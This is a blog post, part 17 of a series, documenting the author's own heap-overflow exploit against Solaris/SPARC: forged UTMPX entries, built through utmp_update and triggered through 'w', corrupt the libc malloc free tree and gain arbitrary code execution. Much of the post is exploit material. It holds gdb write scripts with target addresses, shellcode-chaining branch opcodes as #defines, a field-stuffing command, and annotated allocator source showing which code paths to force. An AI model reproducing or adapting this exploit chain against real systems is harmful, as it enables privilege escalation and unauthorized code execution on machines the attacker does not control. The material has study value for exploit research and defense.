Heap-Based Execution from UTMPX entries – Pt. 17
set *0x31488=0x00000000 # null bytes from LINE set *0x31490=0x00000000 # null bytes from LINE ## above, the parent MUST be NULL ## the first word is NULL and is OK as a chunk size. ## Below, left points to LD's thr_jmp_table - 8 bytes set *0x31498=0xff3ee260 ## this is the ut_pid ## this below is a 'special' ## I can only control the top 4 bytes of the address ## A value is written in this address + 8 ## There is a writable memory segment @ 0xff3f0000, so I use it at risk. ## This could be turned into a riskless thing by pointing it to the stack, ## and using ARGV as a way to lengthen the stack greatly, I can point ## this address into the "landing zone" created by a long ARGV ## but I'm not going to bother .. ## this 0xff3f is set by modifying utmpx: ut_exit.e_exit = 0xff3f set *0x314a0=0xff3f17a8 ### And finally the ACTUAL RETURN ADDRESS :D no +/- set *0x314a8=0xffbff090 # ut_tv.tv_usec # MUST CALL 'w' with -h to avoid smalloc # NEW LIFE # FOR GDB HEAP EXECUTION!! WOOT!! set *(0x31488-0x178)=0x00000000 set *(0x31490-0x178)=0x00000000 set *(0x31498-0x178)=0xff3de22c set *(0x314a0-0x178)=0xff3f17a8 set *(0x314a8-0x178)=0xffbef090 b t_delete
there’s only enough room in the name[32] field for 28-4 = 24 bytes of ‘authentic’ asm instructions, followed by the 8 necessary for the call / branch instruction.
What’s the difference between a call and a branch instruction.. Is it the placement of the return address into %o7, I think so. It may be possible to get 28 bytes by using some kind of annulled unconditional branch instruction. Yes, a branch always annulled or ba,a
i.e.
(gdb) x/2i $pc 0x10668 <main>: b,a 0x10674 <derp> 0x1066c <main+4>: unimp 0 (gdb) si 0x00010674 in derp () (gdb)
The delay slot is not executed.. OK GREAT. 28 bytes of shellcode per UTMPX entry provided in the name[32] field. But is it really 28 bytes, can we use the NULL byte of the ut_name and just not have a null byte?? YES!! here’s how I verified:
/usr/lib/utmp_update `perl -e 'print "A"x32'` "uniq" "pts///2" "9000" "8" "10" "1" "100000" "10000" "4" "aa" "4" "bazz" 0006420 \0 \0 \0 ( A A A A A A A A A A A A 0006440 A A A A A A A A A A A A A A A A 0006460 A A A A u n i q p t s / / / 2 \0
3 more instructions can be placed @ :
p.ut_tv.tv_sec = 0xdeadbe1f; p.ut_tv.tv_usec = 0xc0debabe; p.ut_session = 0xc0debabf;
These are completely sequenced.. 2 instructions are arbitrary and the final can be a b,a instruction.
How to branch to here from name[28,0x1c]?? to p[0x50]. 0x50 – 0x1c = 0x34. So just b,a 0x34
Craft an example:
.globl main, up34, up284 main: .rept 7 xor %l1, %l1, %l1 .endr b,a up34 .rept 12 xor %l1, %l1, %l1 .endr up34: xor %l2, %l2, %l2 xor %l1, %l1, %l1 b,a up284 .rept 70 xor %g1,%l1,%l1 .endr up284: xor %l0,%l0,%l0 <b>Note</b> : I had to breakpoint main+4 (using raw address)
-bash-3.2$ gas entry_test.S -o entry_test.o
-bash-3.2$ gld entry_test.o -o entry_test
gld: warning: cannot find entry symbol _start; defaulting to 0000000000010074
-bash-3.2$ gdb entry_test
(gdb) x/i main+0x50
0x100c4
(gdb) x/i main+0x174
0x101e8
(gdb) si
0x0001007c in main ()
(gdb)
0x00010080 in main ()
(gdb)
0x00010084 in main ()
(gdb)
0x00010088 in main ()
(gdb)
0x0001008c in main ()
(gdb)
0x00010090 in main ()
(gdb)
0x000100c4 in up34 ()
(gdb) si
0x000100c8 in up34 ()
(gdb)
0x000100cc in up34 ()
(gdb)
0x000101e8 in up284 ()
(gdb)
(gdb) x/x 0x00010090
0x10090
(gdb) x/x 0x000100cc
0x100cc
(gdb)
[/code]
The last instructions as hex are what I want and need for my heap exploitation program. 0x3080000d will always be placed at name[28], and 0x30800047 will be placed at p.ut_session.
#define JUMP_FROM_NAME_TO_TV_SEC 0x3080000d #define JUMP_FROM_NAME_TO_TV_SEC_STR "\x30\x80\x00\x0d" #define JUMP_FROM_UT_SESSION_TO_NEXT_UTMP_ENTRY 0x30800047 #define JUMP_FROM_UT_SESSION_TO_NEXT_UTMP_ENTRY_STR "\x30\x80\x00\x47" OH SHIT!!!
IS ANYONE SMELLING NULL BYTES!!! I KNOW I AM!!! NOT TO WORRY, I’LL JUST JUMP BACKWARDS!! *BOING BOING BOING BOING*
-bash-3.2$ cat jumpback.S .globl _start, back1, back2 back2: .rept 0x50 .byte 0xf0 .endr back1: xor %l0,%l0,%l0 xor %l0,%l0,%l0 b,a back2 .rept 280 .byte 0x00 .endr _start: .rept 7 xor %l1, %l1, %l1 .endr b,a back1 -base-3.2$ gas jumpback.S -o jumpback.o -bash-3.2$ gld jumpback.o -e_start -o jumpback -bash-3.2$ gdb jumpback GNU gdb 6.6 Copyright (C) 2006 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "sparc-sun-solaris2.8"... (no debugging symbols found) (gdb) disas _start Dump of assembler code for function _start: 0x000101e8 <_start+0>: xor %l1, %l1, %l1 0x000101ec <_start+4>: xor %l1, %l1, %l1 0x000101f0 <_start+8>: xor %l1, %l1, %l1 0x000101f4 <_start+12>: xor %l1, %l1, %l1 0x000101f8 <_start+16>: xor %l1, %l1, %l1 0x000101fc <_start+20>: xor %l1, %l1, %l1 0x00010200 <_start+24>: xor %l1, %l1, %l1 0x00010204 <_start+28>: b,a 0x100c4 <back1> End of assembler dump. (gdb) b _start Breakpoint 1 at 0x101e8 (gdb) r Starting program: /tmp/jumpback Program received signal SIGILL, Illegal instruction. 0x00010074 in back2 () (gdb) b *0x000101ec Breakpoint 2 at 0x101ec (gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /tmp/jumpback Breakpoint 2, 0x000101ec in _start () (gdb) si 0x000101f0 in _start () (gdb) 0x000101f4 in _start () (gdb) 0x000101f8 in _start () (gdb) 0x000101fc in _start () (gdb) 0x00010200 in _start () (gdb) 0x00010204 in _start () (gdb) 0x000100c4 in back1 () (gdb) 0x000100c8 in back1 () (gdb) 0x000100cc in back1 () (gdb) 0x00010074 in back2 () (gdb) Program received signal SIGILL, Illegal instruction. 0x00010074 in back2 () (gdb) x/x 0x00010204 0x10204 <_start+28>: 0x30bfffb0 (gdb) disas back1 Dump of assembler code for function back1: 0x000100c4 <back1+0>: xor %l0, %l0, %l0 0x000100c8 <back1+4>: xor %l0, %l0, %l0 0x000100cc <back1+8>: b,a 0x10074 <back2> 0x000100d0 <back1+12>: unimp 0 0x000100d4 <back1+16>: unimp 0 0x000100d8 <back1+20>: unimp 0 0x000100dc <back1+24>: unimp 0 0x000100e0 <back1+28>: unimp 0 0x000100e4 <back1+32>: unimp 0 0x000100e8 <back1+36>: unimp 0 0x000100ec <back1+40>: unimp 0 0x000100f0 <back1+44>: unimp 0 0x000100f4 <back1+48>: unimp 0 0x000100f8 <back1+52>: unimp 0 0x000100fc <back1+56>: unimp 0 0x00010100 <back1+60>: unimp 0 0x00010104 <back1+64>: unimp 0 0x00010108 <back1+68>: unimp 0 0x0001010c <back1+72>: unimp 0 0x00010110 <back1+76>: unimp 0 0x00010114 <back1+80>: unimp 0 0x00010118 <back1+84>: unimp 0 0x0001011c <back1+88>: unimp 0 0x00010120 <back1+92>: unimp 0 ---Type <return> to continue, or q <return> to quit---q Quit (gdb) x/x 0x000100cc 0x100cc <back1+8>: 0x30bfffea (gdb)
REAL OPCODES FOR JUMPING UTMPX ENTRIES
#define JUMP_TO_PREV_UT_TV_FROM_END_OF_NAME 0x30bfffb0 #define JUMP_TO_PREV_UT_TV_FROM_END_OF_NAME_STR "\x30\xbf\xff\xb0" #define SAME_JUMP_BACK_TO_NAME_FROM_UT_MICRO 0x30bfffea #define SAME_JUMP_BACK_TO_NAME_FROM_UT_MICRO_STR "\x30\xbf\xff\xea"
32-bit Interesting Parameters
_smalloc gets called if the ‘w’ “header” is printed.. That presents a strange problem in the implementation of malloc that causes an infinite loop in t_splay() after the heap overflow. To avert this, ‘w’ is called with the -h parameter, and once again AWESOME ARBITRARY EXECUTION is possible :)
Update
That wasn’t true.. In fact, I before believed (and it’s present somewhere in these blog pages) that I needed to put 0xffdf into the high bytes of an “uncontrolled” fake tree structure due to strangeness of UTMPX entry creating rogue low bytes for where the RIGHT entry of teh TREE struct.. BUT.. strangely enough, I can set the high bytes to 00 and I thank God can get away with it, and it must trick into the whole entry becoming NULL. The entry not being NULL was the true culprit behind the problems occuring with the call to _smalloc. IT also presented further problems down the line when I actually got to arbitrary code execution, the first word of the code execution would keep getting turned into NULL, and therefore SIGILL. But once I discovered I could thwart the existence of the RIGHT pointer, I won.
Here is a code-source level description of what I was describing above:
in t_delete()
I could not take advantage of the ISNOTREE thing which is easy since it’s documented in Shellcoder’s Handbook and Once Upon a Free in Phrack.. I Was able to for the stack-based execution model but not this heap one..
Instead, I played the puzzle game and found a puzzle piece that would work. The trick to finding puzzle pieces is to make sure that the first entry of the TREE structure is not where you plan on putting the shellcode, because this first entry is SIZE and it’s very picky. This means that the MACROs RIGHT1 and LEFT1 are useless. I almost had it until I found out what I just said. I wondered if the other MACROs could have proven useful, but definitely more complicated with triple nested TREE structures.
In fact, the optimal puzzle pieces were setting the size to 0 ;) Anyways, playing with puzzle pieces arranged in the context of UTMPX entry was difficult and fun and challenging. Here’s what I figured out: by forcing the parent to be NULL, I can ignore the hell of t_splay() (I already mentioned why t_splay is 50% lame in the previous paragraph, half 1/3 of the macros won’t work and actually take more knowledge of heap address on-the-fly insertion into TREE struct entries (you’d know what I’m talking about if you looked into the logic of t_splay to get certain macros to execute). So, set the parent to NULL, you know what, I’ll comment the code as I go along: )
/* * Delete a tree element */ static void t_delete(TREE *op) { TREE *tp, *sp, *gp; // FUCK THIS RIGHT /* if this is a non-tree node */ if (ISNOTREE(op)) { tp = LINKBAK(op); if ((sp = LINKFOR(op)) != NULL) LINKBAK(sp) = tp; LINKFOR(tp) = sp; return; } // DIDNT AND COULDNT DO THE BEST OPTION ABOVE :\ // SO LETS FORCE NULL ON PARENT!! /* make op the root of the tree */ if (PARENT(op)) t_splay(op); // YA WE IGNORED THAT // I WANT THIS NEXT BIT TO EXECUTE. YES /* if this is the start of a list */ if ((tp = LINKFOR(op)) != NULL) { PARENT(tp) = NULL; if ((sp = LEFT(op)) != NULL) PARENT(sp) = tp; LEFT(tp) = sp; // OK I WANT TO FOCUS ON MY EXPLanation of why I posted all this code in the first place, // the reason being why I ran into the problems aforementioned.. here's what happened.. // At first, I thought I could only control top 2 bytes of RIGHT(op), meaning I couldn't make it NULL, // even tho I wanted too.... if ((sp = RIGHT(op)) != NULL) PARENT(sp) = tp; // HERE's THE PROBLEM: RIGHT(tp) = sp; // TAKE NOTE OF THE FOLLOWING Root = tp; return; // ROOT just became my TREE struct which is actually just 8 bytes of SHELLCODE and some copied over LEFT/RIGHT tree structs. Remember, this tree struct shellcode thing of mine has a size of ZERO. }
return to realfree() (partial snippet of function)
// SEE HOW IN THE CONTEXT np IS FAKE TREE STRUCT (not the shellcode one) /* see if coalescing with next block is warranted */ np = NEXT(tp); if (!ISBIT0(SIZE(np))) { if (np != Bottom) t_delete(np); // THIS IS WHERE t_delete() WAS CALLED SIZE(tp) += SIZE(np) + WORDSIZE; } // THE FOLLLOWING IS FALSE /* the same with the preceding block */ if (ISBIT1(ts)) { np = LAST(tp); ASSERT(!ISBIT0(SIZE(np))); ASSERT(np != Bottom); t_delete(np); SIZE(np) += SIZE(tp) + WORDSIZE; tp = np; } // NOT IMPORTANT /* initialize tree info */ PARENT(tp) = LEFT(tp) = RIGHT(tp) = LINKFOR(tp) = NULL; /* the last word of the block contains self's address */ *(SELFP(tp)) = tp; /* set bottom block, or insert in the free tree */ if (BOTTOM(tp)) Bottom = tp; else { // THIS WILL BE TRUE the else here /* search for the place to insert */ if (Root) { // ROOT is the fake TREE struct size = SIZE(tp); np = Root; while (1) { // SIZE is ZERO remember if (SIZE(np) > size) { //FALSE if (LEFT(np)) np = LEFT(np); else { // FALSE It's part of the FALSE above LEFT(np) = tp; PARENT(tp) = np; break; } } else if (SIZE(np) < size) { // TRUE!! if (RIGHT(np)) // RIGHT HERE IS THE PROBLEM!!! np = RIGHT(np);// If you go up another level to _malloc_unlocked() // YOU CAN SEE A CIRCULAR RELATIONSHIP treestruct->right->right->right->right like that 1 2 1 2 1 2 1 2 else { RIGHT(np) = tp; PARENT(tp) = np; break; } } else { if ((sp = PARENT(np)) != NULL) { if (np == LEFT(sp)) LEFT(sp) = tp; else RIGHT(sp) = tp; PARENT(tp) = sp; } else Root = tp; /* insert to head of list */ if ((sp = LEFT(np)) != NULL) PARENT(sp) = tp; LEFT(tp) = sp; if ((sp = RIGHT(np)) != NULL) PARENT(sp) = tp; RIGHT(tp) = sp; /* doubly link list */ LINKFOR(tp) = np; LINKBAK(np) = tp; SETNOTREE(np); break; } } } else Root = tp; } /* tell next block that this one is free */ SETBIT1(SIZE(NEXT(tp))); ASSERT(ISBIT0(SIZE(NEXT(tp)))); }
_malloc_unlocked snippet
// I THINK REAL FREE WAS CALLED FROM cleanfree(). cleanfree() is whack so I don't analyze it.. /* perform free's of space since last malloc */ cleanfree(NULL); // SO HERE IS OBVIOUSLY WHERE _smalloc() subverted and crashed /* small blocks */ if (size < MINSIZE) return (_smalloc(size)); // BUT HERE IS WHERE AN INIFINITE LOOP WILL OCCUR /* search for an elt of the right size */ sp = NULL; n = 0; if (Root) { tp = Root; while (1) { /* branch left */ if (SIZE(tp) >= size) { if (n == 0 || n >= SIZE(tp)) { sp = tp; n = SIZE(tp); } if (LEFT(tp)) tp = LEFT(tp); else break; } else { /* branch right */ if (RIGHT(tp)) tp = RIGHT(tp); // INIFINITE LOOP else break; } }
ANYWAYS the malloc() implementation is really tough to understand fully and I’m definitely just calling it quits on it; I already have a working exploit — moral of the story — experiment for results, not to understand everything fully sometimes.
This shows that I can arbitrarily store a word at 0xff3fXXXX even if the area was previously unmapped..
bazz@blade71[pts/1][/tmp] vi touch.S 1 .globl main 2 3 main: 4 set 0xff3f0008, %o1 5 mov 0x00, %l1 6 st %l1, [%o1] ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ "touch.S" 6L, 67C written bazz@blade71[pts/1][/tmp] gcc touch.S bazz@blade71[pts/1][/tmp] gdb a.out GNU gdb 5.3 Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "sparc-sun-solaris2.8"...(no debugging symbols found)... /home/bazz/.gdb: No such file or directory. (gdb) disas main Dump of assembler code for function main: 0x10650 <main>: sethi %hi(0xff3f0000), %o1 0x10654 <main+4>: or %o1, 8, %o1 ! 0xff3f0008 0x10658 <main+8>: clr %l1 0x1065c <main+12>: st %l1, [ %o1 ] 0x10660 <main+16>: retl 0x10664 <main+20>: add %o7, %l7, %l7 End of assembler dump. (gdb) b main Breakpoint 1 at 0x10650 (gdb) r Starting program: /tmp/a.out (no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)... Breakpoint 1, 0x00010650 in main () (gdb) info proc map process 28723 flags: PR_STOPPED Process (LWP) is stopped PR_ISTOP Stopped on an event of interest PR_RLC Run-on-last-close is in effect PR_FAULTED : Incurred a traced hardware fault FLTBPT: Breakpoint trap Mapped address spaces: Start Addr End Addr Size Offset Flags 0x10000 0x11fff 0x2000 0 ----r-x 0x20000 0x21fff 0x2000 0 ----rwx 0xff280000 0xff32bfff 0xac000 0 ----r-x 0xff33c000 0xff343fff 0x8000 0xac000 ----rwx 0xff370000 0xff371fff 0x2000 0 ----rwx 0xff380000 0xff383fff 0x4000 0 ----r-x 0xff390000 0xff391fff 0x2000 0 ----rwx 0xff3b0000 0xff3dffff 0x30000 0 ----r-x 0xff3e0000 0xff3e1fff 0x2000 0x30000 ----rwx 0xff3e2000 0xff3e3fff 0x2000 0 ----rwx 0xffbee000 0xffbeffff 0x2000 0 -s--rwx (gdb) disas main Dump of assembler code for function main: 0x10650 <main>: sethi %hi(0xff3f0000), %o1 0x10654 <main+4>: or %o1, 8, %o1 ! 0xff3f0008 0x10658 <main+8>: clr %l1 0x1065c <main+12>: st %l1, [ %o1 ] 0x10660 <main+16>: retl 0x10664 <main+20>: add %o7, %l7, %l7 End of assembler dump. (gdb) si 0x00010654 in main () (gdb) 0x00010658 in main () (gdb) 0x0001065c in main () (gdb) 0x00010660 in main () (gdb) info proc map process 28723 flags: PR_STOPPED Process (LWP) is stopped PR_ISTOP Stopped on an event of interest PR_RLC Run-on-last-close is in effect PR_FAULTED : Incurred a traced hardware fault FLTTRACE: Trace trap Mapped address spaces: Start Addr End Addr Size Offset Flags 0x10000 0x11fff 0x2000 0 ----r-x 0x20000 0x21fff 0x2000 0 ----rwx 0xff280000 0xff32bfff 0xac000 0 ----r-x 0xff33c000 0xff343fff 0x8000 0xac000 ----rwx 0xff370000 0xff371fff 0x2000 0 ----rwx 0xff380000 0xff383fff 0x4000 0 ----r-x 0xff390000 0xff391fff 0x2000 0 ----rwx 0xff3b0000 0xff3dffff 0x30000 0 ----r-x 0xff3e0000 0xff3e1fff 0x2000 0x30000 ----rwx 0xff3e2000 0xff3e3fff 0x2000 0 ----rwx 0xff3f0000 0xffbeffff 0x800000 0xff802000 -s--rwx (gdb)
64-bit Parameters
Well this is beyond my reach but here is some research:
Control both t_r and t_n
t_s == lower 2 bits unset, small amount works, big amounts crash, zero is acceptable
t_p == NULL
t_l == NULL hopefully
t_r = &thr_jmp_table – 16
t_n = &shell_code . 16 free bytes of starter shellcode, some short work plus b,a to a more reliable location (t_n->t_p/t_r will be overwritten)
0x0000000100104000
Normally, the last byte of ut_host[] is written with junk, but that’s ok because it is part of t_l junk alignment bytes..
Thus, t_s,t_p,and t_l can all be forced NULL by aligning them inside the ut_host[], putting t_r at ut_name[0], meaning the location of the ‘node’ is negative ( 0x174 + 3*0x20) from the overflow entry beginning, that gets me to where the node starts in the previous UTMP entry’s ut_host[].
Calculation for the overflow chunk’s values need to be precisely calculated, since there is no longer room for ” adjacent brute force” with the ALIGN size now being too big, adjacent entries would overflow into each other..
inside t_delete()
/* make op the root of the tree */ if (PARENT(op)) t_splay(op); /* if this is the start of a list */ if ((tp = LINKFOR(op)) != NULL) { PARENT(tp) = NULL; if ((sp = LEFT(op)) != NULL) PARENT(sp) = tp; LEFT(tp) = sp; if ((sp = RIGHT(op)) != NULL) PARENT(sp) = tp; RIGHT(tp) = sp; Root = tp; return; }
Leave a Reply